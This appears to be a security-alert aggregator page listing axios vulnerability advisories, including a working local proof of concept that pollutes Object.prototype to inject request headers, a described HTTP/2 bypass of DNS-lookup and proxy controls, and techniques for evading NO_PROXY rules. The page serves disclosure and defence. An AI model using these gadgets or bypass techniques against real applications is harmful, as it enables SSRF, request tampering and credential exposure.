Expected safe behavior is that inherited Object.prototype.getHeaders is ignored. Current affected behavior merges the returned header.

Workarounds

Use the Node HTTP adapter for server-side requests that may run in a polluted process. Avoid passing array or class-instance bodies through the fetch adapter when prototype pollution is suspected.

<details> <summary><h3>Original report</h3></summary> Summary

The Node HTTP adapter contains a guard that prevents Object.prototype.getHeaders from being used as a FormData header source. The shared resolveConfig() helper does not have the same guard. The fetch adapter calls resolveConfig(), so it can still merge headers returned by inherited data.getHeaders().

This is a patch mismatch for the FormData prototype-pollution header-injection class.

Affected Version

Validated on:

- axios: 1.17.0 - commit: 4306df2 - runtime: Node.js v24.15.0

Preconditions

- Application uses adapter: 'fetch'. - A separate prototype-pollution primitive can write: - Object.prototype[Symbol.toStringTag] = 'FormData' - Object.prototype.append = function () {} - Object.prototype.getHeaders = function () { ... } - The request body is an array or custom class instance. Plain objects are blocked by the current isFormData() plain-object guard.

Root Cause

lib/adapters/http.js contains:

js data.getHeaders !== Object.prototype.getHeaders

But lib/helpers/resolveConfig.js only checks:

js } else if (utils.isFunction(data.getHeaders)) { setFormDataHeaders(headers, data.getHeaders(), own('formDataHeaderPolicy')); }

The fetch adapter calls resolveConfig(config) before dispatching the request.

Impact

An attacker can inject arbitrary headers into fetch-adapter requests. This may be used to influence internal APIs, metadata services, cache behavior, or application-specific authorization checks.

Proof of Concept

js import axios from './index.js'; import http from 'http';

const start = (handler) => new Promise((resolve) => { const server = http.createServer((req, res) => { let body = ''; req.on('data', (chunk) => (body += chunk)); req.on('end', () => handler(req, res, body)); }); server.listen(0, '127.0.0.1', () => resolve(server)); });

const stop = (server) => new Promise((resolve) => server.close(resolve));

const hits = []; const tag = Symbol.toStringTag;

const server = await start((req, res, body) => { hits.push({ headers: req.headers, body }); res.setHeader('Content-Type', 'application/json'); res.end('{"ok":true}'); });

try { Object.prototype[tag] = 'FormData'; Object.prototype.append = function () {}; Object.prototype.getHeaders = () => { const headers = Object.create(null); headers['X-Poisoned'] = 'yes'; return headers; };

await axios.post(http://127.0.0.1:${server.address().port}/fetch-formdata, ['a', 'b'], { adapter: 'fetch', timeout: 3000 });

console.log(hits[0]); } finally { delete Object.prototype[tag]; delete Object.prototype.append; delete Object.prototype.getHeaders; await stop(server); }

Observed wire request:

json { "headers": { "x-poisoned": "yes", "content-type": "text/plain;charset=UTF-8", "content-length": "3" }, "body": "a,b" }

References

- https://github.com/axios/axios/security/advisories/GHSA-6chq-wfr3-2hj9 - https://osv.dev/vulnerability/GHSA-6chq-wfr3-2hj9 - Related patch area: lib/adapters/http.js, lib/helpers/resolveConfig.js </details>

---

1 / 2
Source: GitHub
First published (updated )
Severity
7
SSRF
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

Axios for Node.js does not apply configured DNS lookup or proxy controls when a request uses httpVersion: 2. The HTTP/1 adapter path wraps and forwards config.lookup, builds normal request options, and applies proxy routing through setProxy(). The HTTP/2 path builds a session with http2.connect() using only options.http2Options, which drops the top-level lookup, agent, and proxy state.

Applications are affected when they allow a user to influence request destinations, enable axios HTTP/2, and rely on axios lookup or proxy routing to prevent SSRF or enforce outbound network policy.

Impact

In affected server-side deployments, an attacker can cause axios to connect directly to destinations that the configured resolver or proxy would have rejected. Depending on reachable services, this can expose cloud metadata, internal service responses, or allow state-changing requests to internal systems.

This is not an unconditional SSRF in every axios deployment. It requires httpVersion: 2 and an application-level trust boundary where user-influenced URLs are constrained by lookup or proxy policy.

Affected Functionality

Affected:

- Node.js HTTP adapter with httpVersion: 2. - config.lookup supplied as a DNS policy. - Explicit config.proxy and environment-derived proxy settings for HTTPS HTTP/2 requests.

Not affected:

- Browser adapters. - Node HTTP/1 requests, which pass lookup to the transport and apply proxy handling. - Applications that validate destination hosts independently before calling axios.

Technical Details

In lib/adapters/http.js, the adapter reads lookup, wraps it, stores it on the request options, and applies setProxy() before selecting a transport. For HTTP/2, http2Transport.request() builds an authority from options.protocol, options.hostname, and options.port, then calls:

js const { http2Options, headers } = options; const session = http2Sessions.getSession(authority, http2Options);

lib/helpers/Http2Sessions.js ultimately calls http2.connect(authority, options) with only the http2Options object. The configured DNS lookup and the proxy or tunneling agent installed on the top-level request options are not forwarded into that call.

Local verification on axios 1.18.1 showed lookupCalls: 0 while an HTTP/2 request to a local h2 origin succeeded. A second local HTTPS h2 verification with an explicit rejecting HTTP proxy showed the origin received the request and the proxy observed no traffic.

Proof of Concept of Attack

Local constrained demonstration:

1. Start an HTTP/2 server on loopback. 2. Call axios.get("http://localhost:<port>/internal", { httpVersion: 2, lookup }) where lookup throws EPOLICY. 3. Observe that the request succeeds and the lookup counter remains 0.

For proxy routing:

1. Start an HTTPS HTTP/2 origin and a local HTTP proxy that rejects every request and CONNECT. 2. Call axios with httpVersion: 2, http2Options: { rejectUnauthorized: false }, and explicit proxy. 3. Observe that the origin receives the request and the proxy receives nothing.

Expected safe behavior is that either the lookup policy blocks the request or the proxy observes and rejects the request.

Workarounds

Use the HTTP/1 adapter path for requests that depend on axios lookup or proxy controls. Alternatively, enforce destination allow/deny policy before calling axios, outside the adapter transport path.

<details> <summary><h3>Original report</h3></summary> ### Summary

I found that Axios does not apply the configured lookup function or proxy when a request uses httpVersion: 2. The HTTP/1 adapter applies both controls, but the HTTP/2 path connects straight to the URL's hostname using http2.connect().

This matters for server applications that accept a user-influenced URL and use a custom DNS lookup or mandatory outbound proxy to prevent SSRF. Switching the Axios instance to HTTP/2 silently removes those controls, allowing the request to reach an address the application intended to block.

I reproduced this on the current npm release, Axios 1.18.1.

Details

The HTTP adapter reads and wraps the caller's lookup function, builds the normal request options, and calls setProxy():

- lib/adapters/http.js, around lines 530-578: reads and wraps lookup - lib/adapters/http.js, around lines 895-954: adds lookup to options and applies setProxy()

For HTTP/2, however, the adapter selects http2Transport. That transport creates an authority from the destination and only passes options.http2Options to the session pool:

js const { http2Options, headers } = options; const session = http2Sessions.getSession(authority, http2Options);

lib/helpers/Http2Sessions.js then calls:

js const session = http2.connect(authority, options);

At this point options is only the http2Options object. The top-level lookup, the proxy tunnelling agent created by setProxy(), and the selected httpAgent/httpsAgent are not forwarded. The request therefore uses the system resolver and opens a direct connection to the origin.

The same root cause affects both explicit proxy configuration and environment-derived proxy configuration. I kept the PoC local and used an explicit proxy so the result does not depend on shell environment variables.

PoC

I attached axioshttp2transportcontrolspoc.mjs. The PoC is entirely local and sets up three pieces:

1. An HTTPS origin with HTTP/2 enabled. If reached, it records the request and returns REACHEDBLOCKEDORIGIN. 2. An HTTP proxy that records traffic but rejects every normal request and every CONNECT request with 502 Bad Gateway. 3. A custom Axios lookup callback that rejects every DNS lookup with an EPOLICY error.

The first request is an HTTP/1 control request. It uses the blocking lookup callback and has proxying disabled. Axios calls the callback, receives EPOLICY, and does not reach the origin. This confirms that the callback works and that the hostname is blocked through the normal adapter path.

The second request targets the same URL with httpVersion: 2. It is given both security controls: the same blocking lookup callback and the rejecting proxy. If Axios honors either one, this request cannot reach the origin. It should fail with EPOLICY, or it should reach the proxy and receive its 502 response.

Instead, the request returns HTTP 200 with REACHEDBLOCKEDORIGIN. The lookup counter does not increase, and the proxy records no request or CONNECT attempt. The origin is the only server that records traffic. This shows that the HTTP/2 path skipped both controls and connected directly using the system resolver.

To reproduce, run the attachment from the root of an Axios checkout:

Run it from the root of an Axios checkout:

bash git checkout v1.18.1 npm install --ignore-scripts node /path/to/axioshttp2transportcontrolspoc.mjs

Relevant output from my run:

json { "axiosVersion": "1.18.1", "configuredControls": { "lookup": "reject every DNS lookup with EPOLICY", "proxy": "http://127.0.0.1:<port> (reject every request)" }, "http1Control": "EPOLICY: blocked by application DNS policy", "http2Result": { "status": 200, "data": "REACHEDBLOCKEDORIGIN" }, "lookupCalls": 1, "proxyObservedTraffic": false, "events": [ { "server": "origin", "protocol": "h2", "path": "/internal" } ] }

The important parts of the output are:

- http1Control contains EPOLICY, proving the DNS policy blocks the destination under HTTP/1. - lookupCalls is still 1 after both requests, proving HTTP/2 never called the configured resolver. - proxyObservedTraffic is false, proving HTTP/2 did not use the configured proxy. - http2Result.status is 200, and the sole event belongs to the origin, proving Axios connected directly to the blocked destination.

Impact

The vulnerable configuration is a Node.js application that:

- enables Axios HTTP/2 using httpVersion: 2; - lets an application user influence the request destination; and - relies on Axios's lookup option or proxy routing to enforce a destination or egress policy.

In that setup, an unauthenticated application user may be able to make the server connect directly to loopback, private-network, or link-local services that the lookup policy or proxy would have rejected. Depending on the reachable service, this can expose cloud credentials or internal data, modify internal services, or affect availability.

HTTP/2 support is marked experimental, but neither the HTTP/2 documentation nor the proxy documentation says that lookup and proxy controls are ignored. The proxy documentation states that HTTPS requests are sent through a CONNECT tunnel. More importantly, Axios's threat model tells callers that destination validation is their responsibility; this behavior silently bypasses such caller-supplied validation.

I did not test against any third-party or production service. The PoC only uses listeners on my own machine. </details>

---

1 / 2
Source: GitHub
First published (updated )
Severity
6.3
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

axios is vulnerable to read-side prototype-pollution gadgets that can alter request construction when Object.prototype has already been polluted by a separate vulnerability or dependency. In the bodyless method aliases (axios.get(), axios.delete(), axios.head(), axios.options()), inherited data is read via (config || {}).data before config normalization, causing an attacker-controlled body to be sent on requests that did not set one. Additional low-level paths, only reachable when calling exported adapters/helpers (e.g. lib/adapters/http.js, unsafe/helpers/resolveConfig.js) directly with plain configs and no own proxy or paramsSerializer, can inherit polluted proxy values (routing requests through an attacker-controlled proxy) or paramsSerializer values (attacker-controlled URL serialization). These low-level gadgets do not reproduce through normal high-level axios calls on 1.15.2+. The issue is fixed in axios 1.18.0 and 0.33.0.

First published (updated )
Severity
6.3
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

axios versions from 0.28.0 before 0.33.0 and from 1.0.0 before 1.18.0 contain uncontrolled recursion in formDataToJSON (exposed as axios.formToJSON() and used internally when serializing FormData with Content-Type: application/json). When an application passes attacker-controlled FormData field names, a field name with thousands of nested bracket-delimited segments causes unbounded recursion in buildPath(), exhausting the JavaScript call stack (RangeError: Maximum call stack size exceeded) and causing denial of service for that request, or process termination in applications without appropriate error handling.

First published (updated )
Severity
6.3
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

axios versions =1.13.0 (Node.js HTTP adapter) fail to enforce the configured maxBodyLength limit on streamed request bodies when requests are sent with httpVersion: 2. Because Node's HTTP/2 request API does not honor the maxBodyLength option and axios's byte-counting stream wrapper is gated on maxRedirects === 0, an attacker who controls a stream passed to axios can cause the application to transmit outbound data exceeding the configured finite maxBodyLength. Impact is limited to resource consumption and policy bypass (excess egress, upstream quota consumption, limited availability); it does not enable code execution, credential disclosure, or request-destination control. Calls using the default maxBodyLength: -1 and browser adapters are not affected.

1 / 2
Source: IBM
First published (updated )
Severity
6.3
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

axios before 0.33.0 (and 1.x before 1.18.0) can consume inherited properties from nested request option objects when the JavaScript process's Object.prototype has already been polluted by another component. While the top-level merged config uses a null prototype, nested plain objects such as auth and paramsSerializer are cloned into ordinary objects and read without own-property checks. When an application passes placeholder nested objects such as auth: {} or paramsSerializer: {}, inherited username/password values can cause silent injection of an Authorization: Basic header, and inherited encode/serialize values can alter query-string serialization (full serializer replacement requires a function-valued pollution primitive). This is exploitable only in the presence of pre-existing prototype pollution.

First published (updated )
Severity
6.9
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

axios versions 0.31.1 before 0.33.0 and 1.15.1 before 1.18.0 contain an incomplete depth-limit bypass in toFormData.js when serializing objects with top-level keys ending in '{}'. Attackers who control object keys and nested values passed to axios form or parameter serialization can trigger a RangeError from JSON.stringify, causing denial of service in the affected request path.

First published (updated )
Severity
6.9
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

axios versions 0.31.0 before 0.33.0 and 1.15.0 before 1.18.0 fail to recognize 0.0.0.0 as a loopback address in shouldBypassProxy.js, allowing requests to 0.0.0.0 to bypass NOPROXY rules. Attackers can supply 0.0.0.0 URLs to route requests through configured proxies, potentially exposing local services when the proxy can reach the destination.

First published (updated )
Severity
8.3
Infoleak
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

axios in a Node.js deployment using the HTTP adapter can route requests through an attacker-controlled proxy. axios hardens merged request configuration by creating a null-prototype object, but request interceptors run after the merge; a common immutable interceptor pattern such as {...config} or Object.assign({}, config) converts the hardened config back into a regular object. axios then dispatches that object without re-hardening it, and the Node HTTP adapter reads config.proxy through the prototype chain. If an attacker can pollute Object.prototype.proxy, affected requests can be routed through an attacker-controlled proxy. For plaintext HTTP requests, the proxy can observe Authorization headers, Basic auth from config.auth, method, absolute URL, Host, and request body, and can return its own response. This does not establish browser impact or HTTPS header/body disclosure under normal TLS validation. Affected versions are =0.31.1 (fixed in 0.33.0) and =1.15.2 (fixed in 1.18.0).

1 / 2
Source: IBM
First published (updated )
Severity
6.3
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

axios versions 0.28.0 and later contain uncontrolled recursion in formDataToJSON when processing FormData field names with deeply nested bracket segments. Attackers can supply FormData with field names containing thousands of nested brackets to exhaust the JavaScript call stack and trigger RangeError, causing request failure or process termination in applications that do not handle the exception.

First published (updated )
Severity
6.3
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

axios versions =1.15.2 and 1.18.0 contain prototype-pollution read-side gadgets in Basic auth subfield handling (lib/adapters/http.js and lib/helpers/resolveConfig.js). When an application is already affected by a separate prototype-pollution primitive and makes an axios request with an own auth object that omits the username and/or password properties, axios reads the inherited Object.prototype.username and Object.prototype.password values and uses them to construct an outbound 'Authorization: Basic ...' header. axios itself does not pollute prototypes. The practical impact is outbound request tampering: an attacker who controls the polluted prototype values can inject attacker-chosen Basic auth credentials or replace an existing Authorization header. Credential disclosure is only possible under additional application-specific conditions.

1 / 2
Source: IBM
First published (updated )
Severity
6.3
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

axios versions 1.7.0 before 1.18.0 fail to enforce maxBodyLength for WHATWG ReadableStream request bodies in the fetch adapter when Content-Length cannot be determined. Attackers can supply unknown-length stream data to bypass upload size limits and cause uncontrolled network egress or resource exhaustion.

First published (updated )
Severity
7

Axios is a promise based HTTP client for the browser and Node.js. Prior to 0.32.0 and 1.16.0, Axios’s Node.js HTTP adapter may forward a Proxy-Authorization header to a redirected origin during specific proxy-to-direct redirect flows. This affects Node.js usage, where an initial HTTP request is sent through an authenticated HTTP proxy, redirects are followed, and the redirected URL is no longer proxied. Under affected redirect shapes, the final origin can receive the proxy credential that was intended only for the outbound proxy. This vulnerability is fixed in 0.32.0 and 1.16.0.

First published (updated )
Severity
7

Axios is a promise based HTTP client for the browser and Node.js. From 1.0.0 to before 1.16.0, the Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution in the application's dependency tree to be escalated into a full Man-in-the-Middle (MITM) attack — intercepting, reading, and modifying all HTTP traffic including authentication credentials. The HTTP adapter at lib/adapters/http.js:670 reads config.proxy via standard property access, which traverses the prototype chain. Because proxy is not present in Axios defaults, the merged config object has no own proxy property, making it trivially injectable via prototype pollution. Once injected, setProxy() routes all HTTP requests through the attacker's proxy server. This vulnerability is fixed in 1.16.0.

First published (updated )
Severity
7

Axios is a promise based HTTP client for the browser and Node.js. Prior to 0.32.0 and 1.16.0, Axios does not normalise IPv4-mapped IPv6 addresses. When NOPROXY lists an IPv4 address such as 127.0.0.1 or 169.254.169.254, a request URL using the IPv4-mapped IPv6 form (::ffff:7f00:1, ::ffff:a9fe:a9fe) still routes through the configured proxy. Node.js resolves these addresses to the underlying IPv4 host, so the request reaches the internal service via the proxy rather than being blocked. This vulnerability is fixed in 0.32.0 and 1.16.0.

First published (updated )
Severity
7

Axios is a promise based HTTP client for the browser and Node.js. Prior to 0.32.0 and 1.16.0, Axios’ Node.js HTTP adapter can leak proxy credentials to a redirect target in affected versions. When a request is sent through an authenticated proxy, Axios may add a Proxy-Authorization header. If Axios then follows a redirect and the redirected request is no longer sent through that proxy, the stale Proxy-Authorization header can remain on the redirected request and be sent to the redirect target. This affects Node.js's use of Axios with automatic redirects enabled and an authenticated proxy configuration. Browser adapters are not affected. This vulnerability is fixed in 0.32.0 and 1.16.0.

First published (updated )
Severity
7

Axios is a promise based HTTP client for the browser and Node.js. Axios versions before 0.32.0 on the 0.x line and before 1.16.0 on the 1.x line build a regular expression from the configured XSRF cookie name without escaping regex metacharacters. In standard browser environments, an attacker who can influence the cookie name passed to axios can cause expensive regex backtracking while axios reads document.cookie. The practical impact is client-side availability degradation, such as freezing the affected browser tab while axios prepares a request. The issue does not affect ordinary Node.js HTTP adapter usage, React Native, or web workers, where axios does not read document.cookie. This vulnerability is fixed in 0.32.0 and 1.16.0.

First published (updated )
Severity
7

Axios is a promise based HTTP client for the browser and Node.js. From 0.19.0 to before 0.31.1 and 1.15.2, Axios contains prototype-pollution gadgets in request config processing. If another vulnerability in the same JavaScript process has already polluted Object.prototype.transformResponse, affected Axios versions may treat that inherited value as request configuration or as an option validator. Axios does not itself create the prototype pollution. Exploitability requires a separate prototype-pollution vulnerability or equivalent attacker control over Object.prototype before Axios creates a request. This vulnerability is fixed in 0.31.1 and 1.15.2.

First published (updated )
Severity
7

Axios is a promise based HTTP client for the browser and Node.js. Axios versions 1.7.0 through 1.15.x did not enforce configured request and response size limits when requests were sent with the fetch adapter. Applications that selected adapter: 'fetch', or ran in environments where axios resolved to the fetch adapter, could receive or send bodies larger than maxContentLength or maxBodyLength despite those limits being explicitly configured. This can cause resource exhaustion in server-side usage when a malicious or compromised server returns an oversized response, when an attacker can supply a large data: URL, or when an application forwards attacker-controlled request bodies through axios while relying on maxBodyLength as a boundary. This vulnerability is fixed in 0.32.0 and 1.16.0.

First published (updated )
Severity
7

Axios is a promise based HTTP client for the browser and Node.js. Prior to 1.15.1 and 0.31.1, the Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution to silently suppress all HTTP error responses (401, 403, 500, etc.), causing them to be treated as successful responses. This completely bypasses application-level authentication and error handling. The root cause is that validateStatus is the only config property using the mergeDirectKeys merge strategy, which uses JavaScript's in operator — an operator that inherently traverses the prototype chain. When Object.prototype.validateStatus is polluted with () => true, all HTTP status codes are accepted as success. This vulnerability is fixed in 1.15.1 and 0.31.1.

First published (updated )
Severity
7

Axios is a promise based HTTP client for the browser and Node.js. Prior to 1.15.1 and 0.31.1, toFormData recursively walks nested objects with no depth limit, so a deeply nested value passed as request data crashes the Node.js process with a RangeError. This vulnerability is fixed in 1.15.1 and 0.31.1.

First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203